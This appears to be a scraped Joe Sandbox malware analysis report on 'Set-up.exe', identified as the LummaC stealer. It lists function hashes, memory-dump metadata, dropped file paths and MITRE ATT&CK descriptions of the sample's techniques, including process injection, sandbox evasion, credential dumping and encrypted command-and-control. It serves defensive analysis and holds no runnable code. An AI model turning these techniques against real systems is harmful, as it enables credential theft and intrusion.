Instruction Fuzzy Hash: A65157B1B0430B9FCF644A6E885A766BBE6EFC2210F1C847AD416CB251CA31C941C7A1

Function 07C93518 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 07C93546
$^q, xrefs: 07C9352A
$^q, xrefs: 07C93574
$^q, xrefs: 07C93580

Memory Dump Source

Source File: 00000011.00000002.2146392329.0000000007C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c90000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: a2e47f221741b1455d5a9ddcf83c78b409a851443e75f06c33ed988ace2cbf85
Instruction ID: 0d95eabab2a55ad6bf548348701f0ba1d50ecee3393322fd3c29fc2401c330e0
Opcode Fuzzy Hash: a2e47f221741b1455d5a9ddcf83c78b409a851443e75f06c33ed988ace2cbf85
Instruction Fuzzy Hash: 372149B17007867BDF78556A9C48B27AFD65BC8714F24843AA405CF381DF36C945C361

Function 07C90573 Relevance: 5.1, Strings: 4, Instructions: 66COMMON

Download Yara Rule

Strings

$^q, xrefs: 07C905C6
4'^q, xrefs: 07C905E7
$^q, xrefs: 07C905BA
4'^q, xrefs: 07C905DB

Memory Dump Source

Source File: 00000011.00000002.2146392329.0000000007C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c90000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: d2756cbbd70267461e19c37cebc8427767418ea4b79c415c2bca847e6f4557db
Instruction ID: a7b8767d2e95c680a8fdc90332db6d036081beaa183c242441b49775575d83a9
Opcode Fuzzy Hash: d2756cbbd70267461e19c37cebc8427767418ea4b79c415c2bca847e6f4557db
Instruction Fuzzy Hash: 18012BA1B096961BCF7A153828291AA6FA25FC39A071D01FBC051CF396CD158D8583E6

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 'Set-up.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\f

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Alerts

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Arrived

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Az

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Bookstore

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Distribution

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Divisions

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Gotta

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Hotel

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Initiated

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Lazy

Windows Analysis Report
'Set-up.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre